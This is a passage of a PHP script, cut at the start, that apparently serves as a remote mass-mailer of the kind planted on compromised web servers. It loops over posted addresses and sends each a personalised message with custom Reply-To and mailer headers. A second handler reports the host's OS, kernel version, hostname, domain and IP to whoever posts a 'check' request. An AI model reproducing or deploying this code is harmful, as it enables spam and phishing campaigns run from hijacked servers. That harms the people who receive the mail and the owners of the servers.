\n"; $header .= "Reply-To: " . $replyto . "\n"; $header .= "X-Priority: 3\n"; $header .= "X-MSMail-Priority: Normal\n"; $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"]; $i = 0; $voy=1; $arr = array(); while($email[$i]) { $mail = str_replace(array("\n","\r\n"),'',$email[$i]); $message1 = ereg_replace("&email&", $mail, $message); if(@mail($mail, $subject, $message1, $header)) { $arr[$mail] = true; } else { $arr[$mail] = false; } $i++; $voy++; } echo json_encode($arr); } else if(isset($_POST['check'])){ header('Content-type: application/json'); $arr = array( 'success' => 1, 'os' => PHP_OS, 'version' => php_uname('r'), 'host' => php_uname('n'), 'dns' => $_SERVER['SERVER_NAME'], 'ip' => $_SERVER['SERVER_ADDR'] ); echo json_encode($arr); exit(); } else { echo "Failed"; } ?>